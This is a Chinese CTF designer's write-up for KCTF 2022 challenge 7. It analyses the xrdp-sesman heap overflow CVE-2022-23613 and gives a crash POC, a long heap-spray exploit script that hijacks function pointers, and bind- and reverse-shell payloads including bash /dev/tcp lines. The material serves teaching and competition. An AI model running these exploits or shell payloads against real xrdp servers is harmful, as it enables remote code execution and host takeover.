看雪2022 KCTF 秋季赛 | 第七题设计思路及解析
2022-12-2 18:1:27 Author: mp.weixin.qq.com(查看原文) 阅读量:16 收藏

看雪 2022 KCTF秋季赛 已于11月15日中午12点正式开始!比赛延续上一届的模式并进行优化,对每道题设置了难度值、火力值、精致度等多类积分,用规则引导题目的难度和趣味度。大家请注意:签到题(https://ctf.pediy.com/game-season_fight-216.htm)将持续开放,整个比赛期间均可提交答案,获得积分哦~
第七题《广厦万间》答题时间已截止,据统计:共3支战队成功提交flag,他们分别是:

下面一起看看该赛题的设计思路和相关解析吧~

出题团队简介

第7题《广厦万间》出题方 星盟安全团队 战队
战队成员id:Tokameine

赛题设计思路

今年十月份,写了一篇关于该漏洞的利用分析:https://bbs.pediy.com/thread-274831.htm
我在文中对该漏洞的成因以及利用手段进行了较为详细的分析,最终得出的利用方式为:“通过建立大量连接进行堆喷,从而进行任意命令执行,从服务器中反弹一个shell出来进行连接。”
但是真的没有限制次数后也能稳定利用的方法吗?有,并且还不止一个,笔者在当时的文章写完后的第二天,躺在床上正好想起了这件事,并在接下来的一段时间里得到了在源程序不进行改变的情况下也能够稳定利用的方案。
两种方案都不需要更改源程序的允许连接数量 16 ,甚至不需要这么大,两种方案都只需要大约 5-10 个连接就能够稳定利用,这取决于 EXP 的精细程度。
第一种方案仍然依赖于堆喷,但是它并不需要很多的连接,笔者经过测试发现,只需要两个连接,就能够创建超过 0x100000~0xff00000 大小的堆空间。
第二种方案完全不依赖堆喷,它能够稳定控制调用 execlp3 或 execvp 的参数,而不需要经过任何地址碰撞。
其实,当时发那篇文章时,并没有将本利用作为赛题提交给KCTF的打算。
但是现在一想,如果我当时没有发布那篇文章,这道题的攻克者是否就会更少一点呢......略有些遗憾,但其实能有师傅做出来的话也还是很令笔者高兴的,尤其是能看到师傅们的利用思路,不论是否与我的预期相符。
秉承着 PWN FOR FUN 的原则,我仍然没有删除符号表,希望师傅们玩的开心。


回顾

首先回顾一下该漏洞的成因吧,该漏洞来自于 CVE-2022-23613 ,这是一个已公开的漏洞。

复现环境

xrdp-sesman 0.9.18 The xrdp session manager Copyright (C) 2004-2020 Jay Sorg, Neutrino Labs, and all contributors. See https://github.com/neutrinolabs/xrdp for more information.

漏洞成因

static intsesman_data_in(struct trans *self){+ #define HEADER_SIZE 8 int version; int size;
if (self->extra_flags == 0) { in_uint32_be(self->in_s, version); in_uint32_be(self->in_s, size);- if (size > self->in_s->size)+ if (size < HEADER_SIZE || size > self->in_s->size) {- LOG(LOG_LEVEL_ERROR, "sesman_data_in: bad message size");+ LOG(LOG_LEVEL_ERROR, "sesman_data_in: bad message size %d", size); return 1; } self->header_size = size;@@ -302,11 +303,12 @@ sesman_data_in(struct trans *self) return 1; } /* reset for next message */- self->header_size = 8;+ self->header_size = HEADER_SIZE; self->extra_flags = 0; init_stream(self->in_s, 0); /* Reset input stream pointers */ } return 0;+ #undef HEADER_SIZE}
从已公开的 Patch 可以看出,它添加了一个对 size 变量的负数校验,似乎意味着整数溢出漏洞的存在,不妨跟踪一下该变量。
else /* connected server or client (2 or 3) */{ if (self->si != 0 && self->si->source[self->my_source] > MAX_SBYTES) { } else if (self->trans_can_recv(self, self->sck, 0)) { cur_source = XRDP_SOURCE_NONE; if (self->si != 0) { cur_source = self->si->cur_source; self->si->cur_source = self->my_source; } read_so_far = (int) (self->in_s->end - self->in_s->data); to_read = self->header_size - read_so_far;
if (to_read > 0) { read_bytes = self->trans_recv(self, self->in_s->end, to_read);
查找 self->header_size 的引用,可以发现该变量将与 self->trans_recv 的参数间接相关,而该函数类似于 read 的作用,将 self 相关的套接字中读取 to_read 个字符到 self->in_s->end 。
而该缓冲区来自于:
struct trans *trans_create(int mode, int in_size, int out_size){ struct trans *self = (struct trans *) NULL;
self = (struct trans *) g_malloc(sizeof(struct trans), 1);
if (self != NULL) { make_stream(self->in_s); init_stream(self->in_s, in_size); make_stream(self->out_s); init_stream(self->out_s, out_size); self->mode = mode; self->tls = 0; /* assign tcp calls by default */ self->trans_recv = trans_tcp_recv; self->trans_send = trans_tcp_send; self->trans_can_recv = trans_tcp_can_recv; }
return self;}
#define init_stream(s, v) do \ { \ if ((v) > (s)->size) \ { \ g_free((s)->data); \ (s)->data = (char*)g_malloc((v), 0); \ (s)->size = (v); \ } \ (s)->p = (s)->data; \ (s)->end = (s)->data; \ (s)->next_packet = 0; \ } while (0)
可以看见,该缓冲区会通过 g_malloc 创建在堆上,那么只要 to_read 的值超出了堆的原始大小,就有可能造成堆溢出了:
g_list_trans = trans_create(TRANS_MODE_TCP, 8192, 8192);
从调用点也可以看出,每次建立一个新的连接时都会为该连接创建一个大小为 0x2000 的输入缓冲区,并且接下来将会调用 trans_check_wait_objs :
inttrans_check_wait_objs(struct trans *self){ ...... if (self->type1 == TRANS_TYPE_LISTENER) /* listening */ { ...... } else /* connected server or client (2 or 3) */ { if (self->si != 0 && self->si->source[self->my_source] > MAX_SBYTES) { } else if (self->trans_can_recv(self, self->sck, 0)) { cur_source = XRDP_SOURCE_NONE; if (self->si != 0) { cur_source = self->si->cur_source; self->si->cur_source = self->my_source; } read_so_far = (int) (self->in_s->end - self->in_s->data); to_read = self->header_size - read_so_far;
if (to_read > 0) { read_bytes = self->trans_recv(self, self->in_s->end, to_read); ...... } ...... }
return rv;}
如果创建的类型不为 TRANS_TYPE_LISTENER ,那么该连接就会调用 self->trans_recv 将数据直接读进刚刚创建的输入缓冲区中,且由于它并没有校验 self->header_size 可能是负数的情况,因此可以令 to_read 通过负数减去一个正数溢出为一个极大的正数,从而导致堆溢出。
POC:
import socketimport structif __name__ == "__main__": s = socket.socket(socket.AF_INET,socket.SOCK_STREAM) s.connect(("127.0.0.1",3350)) sdata = b'' sdata += struct.pack("I",0x2222CCCC) #version sdata += struct.pack(">I",0x80000000) #headersize s.send(sdata) sdata = b'a'*0x10000 #padding s.send(sdata)

漏洞利用

回顾一下刚刚的 trans_create 可以发现:
struct trans *trans_create(int mode, int in_size, int out_size){ struct trans *self = (struct trans *) NULL;
self = (struct trans *) g_malloc(sizeof(struct trans), 1); ...... self->trans_recv = trans_tcp_recv; self->trans_send = trans_tcp_send; self->trans_can_recv = trans_tcp_can_recv; return self;}
struct trans self 结构体与输入输出缓冲区同样位于堆内存中,并且它还初始化了函数指针,那么一个可行的利用点就是:通过堆溢出去覆盖 self->trans_recv 偏移处的值为一个类似 system 的函数来进行任意命令执行。
通过 IDA 搜索可以找到如下两个函数:
extern:00000000004105D8 extrn g_execvp:nearextern:0000000000410658 extrn g_execlp3:near
这两个命令分别是 execvp 和 execlp 的包装,函数实现如下:
intg_execvp(const char *p1, char *args[]){ ...... args_len = 0; while (args[args_len] != NULL) { args_len++; } g_strnjoin(args_str, ARGS_STR_LEN, " ", (const char **) args, args_len);
g_rm_temp_dir(); rv = execvp(p1, args); ......}
intg_execlp3(const char *a1, const char *a2, const char *a3){ ...... g_strnjoin(args_str, ARGS_STR_LEN, " ", args, 2); ...... g_rm_temp_dir(); rv = execlp(a1, a2, a3, (void *)0); ......}
因为 xrdp 服务是通过 socket 进行通信的,因此让其打开 “/bin/sh” 是不够的,想要让它能够完成任意命令执行,最好还是让它反弹一个 shell 出来比较合适,比方说:
#include<stdlib.h>int main(){ char ars2[]="-cimport socket,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.bind((\"\",10000));s.listen();c,_=s.accept();f=c.fileno();os.dup2(f,0);os.dup2(f,1);os.dup2(f,2);os.system(\"sh\");"; execlp("python3","python3",ars2,0); return 0;}
这个格式就比较像 g_execlp3 的实现了对吗?看起来似乎相当可行,但是笔者在经过各种各样的尝试以后放弃了这个做法,因为精准的控制参数是一件极其困难的事情。
在上一篇文章中,笔者最终得出了 "通过建立大量连接进行堆喷" 从而实现利用的结论。观察它的调用逻辑可以发现:  
self->trans_recv(self, self->in_s->end, to_read);
第一个参数 self 是一个稳定的指针,我们通过覆盖它,能够稳定的传递一个字符串指针;第二个参数为 self->in_s->end ,我们控制参数的主要难点就集中于它,因为如果我们需要传递字符串,那么需要构造一个双重指针,让 self->in_s 指向字符串地址的 end 偏移处,然后再在此处放置指向字符串的指针。
而最后一个参数 to_read 则似乎能够通过计算得出,但其实还是有一定难度的:
read_so_far = (int) (self->in_s->end - self->in_s->data);to_read = self->header_size - read_so_far;
self->header_size 可以由我们任意控制,但是 self->in_s->end 作为一个字符串指针,如果它传递给参数二的值是正确的,那么往往意味着它存在于堆内存中,而您也知道,堆内存是随机且未知的,我们无法精准控制 self->header_size 使它减去一个未知值后仍然生效,除非我们预先已经知道了自己想要得到的值。
因此它适用于堆喷,因为堆喷不需要知道地址是什么,我们只需要假设 to_read 和 self->in_s->end 是正确的即可,而 self->in_s->end 将会是一个已知值,因为我们假设 self->in_s 命中了堆内存,那里将会被我们用地址铺满。


注意到调用方式可以发现,如果通过覆盖 self 结构体,那么想要控制第二个参数就需要令 self->in_s 能够获取到一个指向字符串的指针,并且第三个参数也需要为一个堆地址:
read_so_far = (int) (self->in_s->end - self->in_s->data);to_read = self->header_size - read_so_far;
if (to_read > 0){ read_bytes = self->trans_recv(self, self->in_s->end, to_read);
但是如您所见,由于程序并没有直接与用户进行交互,我们所有的操作都是通过 socket 发送数据包完成,这显然封杀了我们泄露地址的可能性,因此堆地址必须要通过碰撞得出,这就需要我们建立很多的连接,通过每次建立连接时候调用的 trans_create 去申请大量的堆空间:
g_list_trans = trans_create(TRANS_MODE_TCP, 8192, 8192);

静风点

不知道您注意到了没有,笔者在描述中是这么写的 :
通过每次建立连接时候调用的 trans_create 去申请大量的堆空间
但是我们在利用漏洞时却是通过覆盖 self->trans_recv 去调用 g_execlp3 的。
如果我们将这两个事实合起来看,自然就能够得出一种更加具有效率的申请堆内存的方案:覆盖 self->trans_recv 去调用 trans_create
不仅如此,我们观察这一整段代码:
else if (self->trans_can_recv(self, self->sck, 0)){... if (to_read > 0) { read_bytes = self->trans_recv(self, self->in_s->end, to_read);
可以发现,self->trans_can_recv 也同样是一个指针,我们如果将它也覆盖为 trans_create ,就能够在一次连接中调用两次 trans_create ,并且参数还能够由我们控制为任意值。
或许 self->in_s->end 不能由我们控制,但是 to_read 和 self->sck 是能够被稳定控制的,malloc 的 mmap 阈值一般为 0x20000 字节,那么现在,一次连接就能够稳定创建 0x40000+0x2000*2 以上的字节数。粗算一下,十六个连接大约能够创建 0x3FC000 个字节的堆空间,这个大小绝对不小,用作堆喷肯定非常足够了。
结合笔者在 《CVE-2022-23613复现与漏洞利用可能性尝试》 一文中 对堆喷思路的优化 这一小节所注意到的堆喷优化方案,这似乎已经足够完成利用了。
但上述的空间大小还只是对堆空间大小的一种保守估计,实际上,由于 ptmalloc2 能够动态修改 MMAP_THRESHOLD ,实际上,每次建立连接所能申请的大小远远大于上文所述的数值,因此实际上成功率更高。
笔者在某次调试中,由于传参不规范,以至于给 trans_create 传递了过大的参数,最后发现堆空间申请到的大小甚至超出了 0xff00000

第一法破局:堆喷

如前文所述,我们已然能够创建巨大的堆内存:
import socketimport structimport time# bash -i >& /dev/tcp/0.0.0.0/9999 0>&1def pack_addr2(): sdata = b"\xba\xc9\x40\x00\x00\x00\x00\x00" return sdata
con_list=[0]*300for i in range(14): con_list[i] = socket.socket(socket.AF_INET,socket.SOCK_STREAM) con_list[i].connect(("0.0.0.0",3350)) sdata = b'' sdata += struct.pack("I",0x2222CCCC) #version sdata += struct.pack(">I",0x80000000) #headersize con_list[i].send(sdata) sdata = pack_addr2()*0x10 con_list[i].send(sdata) time.sleep(0.05)
con_list[14] = socket.socket(socket.AF_INET,socket.SOCK_STREAM)con_list[14].connect(("127.0.0.1",3350))con_list[15] = socket.socket(socket.AF_INET,socket.SOCK_STREAM)con_list[15].connect(("127.0.0.1",3350))
sdata = b''sdata += struct.pack("I",0x2222CCCC) #versionsdata += struct.pack(">I",0x80000000) #headersizecon_list[15].send(sdata)sdata = b'D'*0x10con_list[15].send(sdata)
sdata = b''sdata += struct.pack("I",0x2222CCCC) #versionsdata += struct.pack(">I",0x80000000) #headersizecon_list[14].send(sdata)sdata = b'C'*0x4140+b"\xb1\x02\x00\x00\x00\x00\x00\x00"+b"\x00\x00\x02\x00\x00\x00\x00\x00"+b"\x01\x00\x00\x00"*2#bash+type+statussdata+=b"\x02\x00\x00\x00\x00\x00\x00\x00"+b"\xba\xc9\x40\x00\x00\x00\x00\x00"+b"\x00\x00\x00\x00\x00\x00\x00\x00"sdata+=b"\x00\x00\x00\x7f\x00\x00\x00\x00"+b"\x39\x40\x02\x00\x00\x00\x00\x00"+b"\x91\x04\x41\x00\x00\x00\x00\x00"#ar_addrsdata+=b"\x00\x00\x00\x00\x00\x00\x00\x00"*4sdata+=b"\x00"*0x220+b"\x70\x3a\x40\x00\x00\x00\x00\x00"+b"\xf0\x3a\x40\x00\x00\x00\x00\x00"sdata+=b"\x70\x3a\x40\x00\x00\x00\x00\x00"+b"\x00\x00\x00\x00\x00\x00\x00\x00"con_list[14].send(sdata)
sdata = b''sdata += struct.pack("I",0x2222CCCC) #versionsdata += b"\x58\x01\xda\x00\x00\x00\x00\x00" #headersizecon_list[15].send(sdata)################sdata = b''sdata += struct.pack("I",0x2222CCCC) #versionsdata += struct.pack(">I",0x80000000) #headersizecon_list[13].send(sdata)sdata = b'C'*0x21b8+b"\xb1\x02\x00\x00\x00\x00\x00\x00"+b"\x00\x00\x02\x00\x00\x00\x00\x00"+b"\x01\x00\x00\x00"*2#bash+type+statussdata+=b"\x02\x00\x00\x00\x00\x00\x00\x00"+b"\xba\xc9\x40\x00\x00\x00\x00\x00"+b"\x00\x00\x00\x00\x00\x00\x00\x00"sdata+=b"\x00\x00\x00\x7f\x00\x00\x00\x00"+b"\x00\x00\x02\x00\x00\x00\x00\x00"+b"\x98\x04\x41\x00\x00\x00\x00\x00"#ar_addrsdata+=b"\x00\x00\x00\x00\x00\x00\x00\x00"*4sdata+=b"\x00"*0x220+b"\x70\x3a\x40\x00\x00\x00\x00\x00"+b"\xf0\x3a\x40\x00\x00\x00\x00\x00"sdata+=b"\x70\x3a\x40\x00\x00\x00\x00\x00"+b"\x00\x00\x00\x00\x00\x00\x00\x00"con_list[13].send(sdata)
sdata = b''sdata += struct.pack("I",0x2222CCCC) #versionsdata += struct.pack(">I",0x80000000) #headersizecon_list[14].send(sdata)
sdata = b''sdata += struct.pack("I",0x2222CCCC) #versionsdata += struct.pack(">I",0x80000000) #headersizecon_list[12].send(sdata)sdata = b'C'*0x21b8+b"\xb1\x02\x00\x00\x00\x00\x00\x00"+b"\x00\x00\x02\x00\x00\x00\x00\x00"+b"\x01\x00\x00\x00"*2#bash+type+statussdata+=b"\x02\x00\x00\x00\x00\x00\x00\x00"+b"\xba\xc9\x40\x00\x00\x00\x00\x00"+b"\x00\x00\x00\x00\x00\x00\x00\x00"sdata+=b"\x00\x00\x00\x7f\x00\x00\x00\x00"+b"\x00\x00\x02\x00\x00\x00\x00\x00"+b"\xe8\x04\x41\x00\x00\x00\x00\x00"#ar_addrsdata+=b"\x00\x00\x00\x00\x00\x00\x00\x00"*4sdata+=b"\x00"*0x220+b"\x70\x3a\x40\x00\x00\x00\x00\x00"+b"\xf0\x3a\x40\x00\x00\x00\x00\x00"sdata+=b"\x70\x3a\x40\x00\x00\x00\x00\x00"+b"\x00\x00\x00\x00\x00\x00\x00\x00"con_list[12].send(sdata)
sdata = b''sdata += struct.pack("I",0x2222CCCC) #versionsdata += struct.pack(">I",0x80000000) #headersizecon_list[13].send(sdata)
########sdata = b''sdata += struct.pack("I",0x2222CCCC) #versionsdata += struct.pack(">I",0x80000000) #headersizecon_list[11].send(sdata)sdata = b'C'*0x21b8+b"\xb1\x02\x00\x00\x00\x00\x00\x00"+b"\x00\x00\x02\x00\x00\x00\x00\x00"+b"\x01\x00\x00\x00"*2#bash+type+statussdata+=b"\x02\x00\x00\x00\x00\x00\x00\x00"+b"\xba\xc9\x40\x00\x00\x00\x00\x00"+b"\x00\x00\x00\x00\x00\x00\x00\x00"sdata+=b"\x00\x00\x00\x7f\x00\x00\x00\x00"+b"\x00\x00\x02\x00\x00\x00\x00\x00"+b"\xf0\x04\x41\x00\x00\x00\x00\x00"#ar_addrsdata+=b"\x00\x00\x00\x00\x00\x00\x00\x00"*4sdata+=b"\x00"*0x220+b"\x70\x3a\x40\x00\x00\x00\x00\x00"+b"\xf0\x3a\x40\x00\x00\x00\x00\x00"sdata+=b"\x70\x3a\x40\x00\x00\x00\x00\x00"+b"\x00\x00\x00\x00\x00\x00\x00\x00"con_list[11].send(sdata)
sdata = b''sdata += struct.pack("I",0x2222CCCC) #versionsdata += struct.pack(">I",0x80000000) #headersizecon_list[12].send(sdata)#######
# use 10 to overflow 11 is failed
#######sdata = b''sdata += struct.pack("I",0x2222CCCC) #versionsdata += struct.pack(">I",0x80000000) #headersizecon_list[9].send(sdata)sdata = b'C'*0x21b8+b"\xb1\x02\x00\x00\x00\x00\x00\x00"+b"\x00\x00\x02\x00\x00\x00\x00\x00"+b"\x01\x00\x00\x00"*2#bash+type+statussdata+=b"\x02\x00\x00\x00\x00\x00\x00\x00"+b"\xba\xc9\x40\x00\x00\x00\x00\x00"+b"\x00\x00\x00\x00\x00\x00\x00\x00"sdata+=b"\x00\x00\x00\x7f\x00\x00\x00\x00"+b"\x00\x00\x02\x00\x00\x00\x00\x00"+b"\xf8\x04\x41\x00\x00\x00\x00\x00"#ar_addrsdata+=b"\x00\x00\x00\x00\x00\x00\x00\x00"*4sdata+=b"\x00"*0x220+b"\x70\x3a\x40\x00\x00\x00\x00\x00"+b"\xf0\x3a\x40\x00\x00\x00\x00\x00"sdata+=b"\x70\x3a\x40\x00\x00\x00\x00\x00"+b"\x00\x00\x00\x00\x00\x00\x00\x00"con_list[9].send(sdata)
sdata = b''sdata += struct.pack("I",0x2222CCCC) #versionsdata += struct.pack(">I",0x80000000) #headersizecon_list[10].send(sdata)#######sdata = b''sdata += struct.pack("I",0x2222CCCC) #versionsdata += struct.pack(">I",0x80000000) #headersizecon_list[8].send(sdata)sdata = b'C'*0x21b8+b"\xb1\x02\x00\x00\x00\x00\x00\x00"+b"\x00\x00\x02\x00\x00\x00\x00\x00"+b"\x01\x00\x00\x00"*2#bash+type+statussdata+=b"\x02\x00\x00\x00\x00\x00\x00\x00"+b"\xba\xc9\x40\x00\x00\x00\x00\x00"+b"\x00\x00\x00\x00\x00\x00\x00\x00"sdata+=b"\x00\x00\x00\x7f\x00\x00\x00\x00"+b"\x00\x00\x02\x00\x00\x00\x00\x00"+b"\xf8\x04\x41\x00\x00\x00\x00\x00"#ar_addrsdata+=b"\x00\x00\x00\x00\x00\x00\x00\x00"*4sdata+=b"\x00"*0x220+b"\x70\x3a\x40\x00\x00\x00\x00\x00"+b"\xf0\x3a\x40\x00\x00\x00\x00\x00"sdata+=b"\x70\x3a\x40\x00\x00\x00\x00\x00"+b"\x00\x00\x00\x00\x00\x00\x00\x00"con_list[8].send(sdata)
sdata = b''sdata += struct.pack("I",0x2222CCCC) #versionsdata += struct.pack(">I",0x80000000) #headersizecon_list[9].send(sdata)#######
# use 7 to overflow 8 is failed
#######sdata = b''sdata += struct.pack("I",0x2222CCCC) #versionsdata += struct.pack(">I",0x80000000) #headersizecon_list[6].send(sdata)sdata = b'C'*0x21b8+b"\xb1\x02\x00\x00\x00\x00\x00\x00"+b"\x00\x00\x02\x00\x00\x00\x00\x00"+b"\x01\x00\x00\x00"*2#bash+type+statussdata+=b"\x02\x00\x00\x00\x00\x00\x00\x00"+b"\xba\xc9\x40\x00\x00\x00\x00\x00"+b"\x00\x00\x00\x00\x00\x00\x00\x00"sdata+=b"\x00\x00\x00\x7f\x00\x00\x00\x00"+b"\x00\x00\x02\x00\x00\x00\x00\x00"+b"\xf8\x04\x41\x00\x00\x00\x00\x00"#ar_addrsdata+=b"\x00\x00\x00\x00\x00\x00\x00\x00"*4sdata+=b"\x00"*0x220+b"\x70\x3a\x40\x00\x00\x00\x00\x00"+b"\xf0\x3a\x40\x00\x00\x00\x00\x00"sdata+=b"\x70\x3a\x40\x00\x00\x00\x00\x00"+b"\x00\x00\x00\x00\x00\x00\x00\x00"con_list[6].send(sdata)
sdata = b''sdata += struct.pack("I",0x2222CCCC) #versionsdata += struct.pack(">I",0x80000000) #headersizecon_list[7].send(sdata)######sdata = b''sdata += struct.pack("I",0x2222CCCC) #versionsdata += struct.pack(">I",0x80000000) #headersizecon_list[5].send(sdata)sdata = b'C'*0x21b8+b"\xb1\x02\x00\x00\x00\x00\x00\x00"+b"\x00\x00\x02\x00\x00\x00\x00\x00"+b"\x01\x00\x00\x00"*2#bash+type+statussdata+=b"\x02\x00\x00\x00\x00\x00\x00\x00"+b"\xba\xc9\x40\x00\x00\x00\x00\x00"+b"\x00\x00\x00\x00\x00\x00\x00\x00"sdata+=b"\x00\x00\x00\x7f\x00\x00\x00\x00"+b"\x00\x00\x02\x00\x00\x00\x00\x00"+b"\xf8\x04\x41\x00\x00\x00\x00\x00"#ar_addrsdata+=b"\x00\x00\x00\x00\x00\x00\x00\x00"*4sdata+=b"\x00"*0x220+b"\x70\x3a\x40\x00\x00\x00\x00\x00"+b"\xf0\x3a\x40\x00\x00\x00\x00\x00"sdata+=b"\x70\x3a\x40\x00\x00\x00\x00\x00"+b"\x00\x00\x00\x00\x00\x00\x00\x00"con_list[5].send(sdata)
sdata = b''sdata += struct.pack("I",0x2222CCCC) #versionsdata += struct.pack(">I",0x80000000) #headersizecon_list[6].send(sdata)######sdata = b''sdata += struct.pack("I",0x2222CCCC) #versionsdata += struct.pack(">I",0x80000000) #headersizecon_list[4].send(sdata)sdata = b'C'*0x21b8+b"\xb1\x02\x00\x00\x00\x00\x00\x00"+b"\x00\x00\x02\x00\x00\x00\x00\x00"+b"\x01\x00\x00\x00"*2#bash+type+statussdata+=b"\x02\x00\x00\x00\x00\x00\x00\x00"+b"\xba\xc9\x40\x00\x00\x00\x00\x00"+b"\x00\x00\x00\x00\x00\x00\x00\x00"sdata+=b"\x00\x00\x00\x7f\x00\x00\x00\x00"+b"\x00\x00\x02\x00\x00\x00\x00\x00"+b"\xf8\x04\x41\x00\x00\x00\x00\x00"#ar_addrsdata+=b"\x00\x00\x00\x00\x00\x00\x00\x00"*4sdata+=b"\x00"*0x220+b"\x70\x3a\x40\x00\x00\x00\x00\x00"+b"\xf0\x3a\x40\x00\x00\x00\x00\x00"sdata+=b"\x70\x3a\x40\x00\x00\x00\x00\x00"+b"\x00\x00\x00\x00\x00\x00\x00\x00"con_list[4].send(sdata)
sdata = b''sdata += struct.pack("I",0x2222CCCC) #versionsdata += struct.pack(">I",0x80000000) #headersizecon_list[5].send(sdata)######sdata = b''sdata += struct.pack("I",0x2222CCCC) #versionsdata += struct.pack(">I",0x80000000) #headersizecon_list[3].send(sdata)sdata = b'C'*0x21b8+b"\xb1\x02\x00\x00\x00\x00\x00\x00"+b"\x00\x00\x02\x00\x00\x00\x00\x00"+b"\x01\x00\x00\x00"*2#bash+type+statussdata+=b"\x02\x00\x00\x00\x00\x00\x00\x00"+b"\xba\xc9\x40\x00\x00\x00\x00\x00"+b"\x00\x00\x00\x00\x00\x00\x00\x00"sdata+=b"\x00\x00\x00\x7f\x00\x00\x00\x00"+b"\x00\x00\x02\x00\x00\x00\x00\x00"+b"\xf8\x04\x41\x00\x00\x00\x00\x00"#ar_addrsdata+=b"\x00\x00\x00\x00\x00\x00\x00\x00"*4sdata+=b"\x00"*0x220+b"\x70\x3a\x40\x00\x00\x00\x00\x00"+b"\xf0\x3a\x40\x00\x00\x00\x00\x00"sdata+=b"\x70\x3a\x40\x00\x00\x00\x00\x00"+b"\x00\x00\x00\x00\x00\x00\x00\x00"con_list[3].send(sdata)
sdata = b''sdata += struct.pack("I",0x2222CCCC) #versionsdata += struct.pack(">I",0x80000000) #headersizecon_list[4].send(sdata)######sdata = b''sdata += struct.pack("I",0x2222CCCC) #versionsdata += struct.pack(">I",0x80000000) #headersizecon_list[2].send(sdata)sdata = b'C'*0x21b8+b"\xb1\x02\x00\x00\x00\x00\x00\x00"+b"\x00\x00\x02\x00\x00\x00\x00\x00"+b"\x01\x00\x00\x00"*2#bash+type+statussdata+=b"\x02\x00\x00\x00\x00\x00\x00\x00"+b"\xba\xc9\x40\x00\x00\x00\x00\x00"+b"\x00\x00\x00\x00\x00\x00\x00\x00"sdata+=b"\x00\x00\x00\x7f\x00\x00\x00\x00"+b"\x00\x00\x02\x00\x00\x00\x00\x00"+b"\xf8\x04\x41\x00\x00\x00\x00\x00"#ar_addrsdata+=b"\x00\x00\x00\x00\x00\x00\x00\x00"*4sdata+=b"\x00"*0x220+b"\x70\x3a\x40\x00\x00\x00\x00\x00"+b"\xf0\x3a\x40\x00\x00\x00\x00\x00"sdata+=b"\x70\x3a\x40\x00\x00\x00\x00\x00"+b"\x00\x00\x00\x00\x00\x00\x00\x00"con_list[2].send(sdata)
sdata = b''sdata += struct.pack("I",0x2222CCCC) #versionsdata += struct.pack(">I",0x80000000) #headersizecon_list[3].send(sdata)######sdata = b''sdata += struct.pack("I",0x2222CCCC) #versionsdata += struct.pack(">I",0x80000000) #headersizecon_list[1].send(sdata)sdata = b'C'*0x21b8+b"\xb1\x02\x00\x00\x00\x00\x00\x00"+b"\x00\x00\x02\x00\x00\x00\x00\x00"+b"\x01\x00\x00\x00"*2#bash+type+statussdata+=b"\x02\x00\x00\x00\x00\x00\x00\x00"+b"\xba\xc9\x40\x00\x00\x00\x00\x00"+b"\x00\x00\x00\x00\x00\x00\x00\x00"sdata+=b"\x00\x00\x00\x7f\x00\x00\x00\x00"+b"\x00\x00\x02\x00\x00\x00\x00\x00"+b"\xf8\x04\x41\x00\x00\x00\x00\x00"#ar_addrsdata+=b"\x00\x00\x00\x00\x00\x00\x00\x00"*4sdata+=b"\x00"*0x220+b"\x70\x3a\x40\x00\x00\x00\x00\x00"+b"\xf0\x3a\x40\x00\x00\x00\x00\x00"sdata+=b"\x70\x3a\x40\x00\x00\x00\x00\x00"+b"\x00\x00\x00\x00\x00\x00\x00\x00"con_list[1].send(sdata)
sdata = b''sdata += struct.pack("I",0x2222CCCC) #versionsdata += struct.pack(">I",0x80000000) #headersizecon_list[2].send(sdata)######print("Done!")
上述脚本是笔者第一次发现该方法时所写的用于测试标准情况下能够获取到的最大堆内存:
pwndbg> vmmapLEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA 0x400000 0x403000 r--p 3000 0 /usr/local/sbin/xrdp-sesman 0x403000 0x40b000 r-xp 8000 3000 /usr/local/sbin/xrdp-sesman 0x40b000 0x40f000 r--p 4000 b000 /usr/local/sbin/xrdp-sesman 0x40f000 0x410000 r--p 1000 e000 /usr/local/sbin/xrdp-sesman 0x410000 0x411000 rw-p 1000 f000 /usr/local/sbin/xrdp-sesman 0x1d24000 0x1d70000 rw-p 4c000 0 [heap] 0x1d70000 0x21e1000 rw-p 471000 0 [heap]
可以注意到,笔者只建立了 16 个 TCP 连接,但是却申请到了 0x471000+0x4c000 的堆内存,这甚至远超笔者最初通过建立上百个连接时所得到的大小。
显然,接下来的操作不言而喻,只需要反弹一个 shell 即可,因此不再赘述。
但在我提交题目以后才得知主办方的平台不能出网,因此反弹 shell 是不行的,需要通过正连完成。

第二法破局:伏击

第二种方法要比第一种的堆喷更加优雅,也更加巧妙。注意到如下代码:
read_bytes = self->trans_recv(self, self->in_s->end, to_read);if (read_bytes == -1){ ...}else{ self->in_s->end += read_bytes;}
以及回顾一下 trans_create 的代码:
struct trans *trans_create(int mode, int in_size, int out_size){ struct trans *self = (struct trans *) NULL;
self = (struct trans *) g_malloc(sizeof(struct trans), 1); ... return self;}
我们可以注意到,如果覆盖 self->trans_recv 为 trans_create ,那么该函数将会返回一个堆地址给 read_bytes ,而这个变量将会被写入到 self->in_s->end 。
这意味着,我们能够在任意地址处将一个堆地址加入原值。而本题最难的地方就在于如何得到一个指向参数的指针。
相信读者已经发现了,如果我们将 self->in_s 指向程序自己的 bss 段,并且 self->in_s->end 为 0 的话,就能够稳定的将一个堆地址写入到已知地址处,从而能够得到一个堆地址指针。而接下来的操作就不言而喻了,通过对溢出和一个固定偏移的计算,我们能够在已知地址处得到一个任意字符串的指针。
那么接下来的操作也属于水到渠成了,在 bss 段上构建一系列的参数地址,从而通过类似于如下操作反弹shell即可:
#include<stdlib.h>#include <errno.h>#include <stdio.h>int main(){ //bash -i >& /dev/tcp/127.0.0.1/8080 0>&1 char *ar[]={"bash","-i",">&","/dev/tcp/127.0.0.1/10000","0>&1",0}; int a=execvp("bash",ar); return 0;}
不过笔者还是建议尽量选择参数较少的实现方案。
此处说明来自第一次撰稿,此时笔者还不知道服务器不能反弹 shell。

例外与死屋

在 第二法破局:风水 一节中,尽管笔者已经介绍了该利用的可行性,但是其实还有一个最难的点没有解决:
self->trans_recv(self, self->in_s->end, to_read);
如果我们希望通过 execvp 去完成利用,那么就需要令 self->in_s->end 能够得到一个指向字符串数组的指针。
您或许已经发现了,在上一节中,我们成功得到了一个字符串数组,它的成员是一系列的字符串指针,但是最关键的是,没有任何一个指针能够指向这个字符串数组。
因此本节笔者最后要介绍的是用以辅佐第二法的操作,它能够让我们在已知地址处写入一个已知地址。
通过 IDA ,我们能够找到一个特殊的函数:
char *deregister_tm_clones(){ return &edata;}
deregister_tm_clones 将会返回一个 bss 段的地址,如果我们将 self->trans_recv 覆盖为 deregister_tm_clones ,就能够在某个已知地址处加入 &edata 。
但是,我们并不能直接在 &edata 处构建字符串数组,因为要想将堆地址写入,必须保证 self->in_s->end 将会得到 0 ,而在 &edata 处,它相邻的几个成员均具有自己的值,这势必无法写入堆地址。
